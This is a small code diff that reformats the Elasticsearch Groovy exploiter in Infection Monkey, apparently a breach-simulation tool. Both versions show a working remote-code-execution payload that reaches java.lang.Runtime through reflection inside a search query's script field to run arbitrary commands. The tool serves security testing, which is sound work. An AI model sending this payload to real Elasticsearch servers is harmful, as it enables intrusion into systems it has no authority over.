diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py
index f7e23d21a..734e7e5ef 100644
--- a/monkey/infection_monkey/exploit/elasticgroovy.py
+++ b/monkey/infection_monkey/exploit/elasticgroovy.py
@@ -36,10 +36,9 @@ class ElasticGroovyExploiter(WebRCE):
     GENERIC_QUERY = (
         """{"size":1, "script_fields":{"%s": {"script": "%%s"}}}""" % MONKEY_RESULT_FIELD
     )
-    JAVA_CMD = (
-        GENERIC_QUERY
-        % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(
-            \\"%s\\").getText()"""
+    JAVA_CMD = GENERIC_QUERY % (
+        """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec("""
+        """\\"%s\\").getText()"""
     )
 
     _TARGET_OS_TYPE = ["linux", "windows"]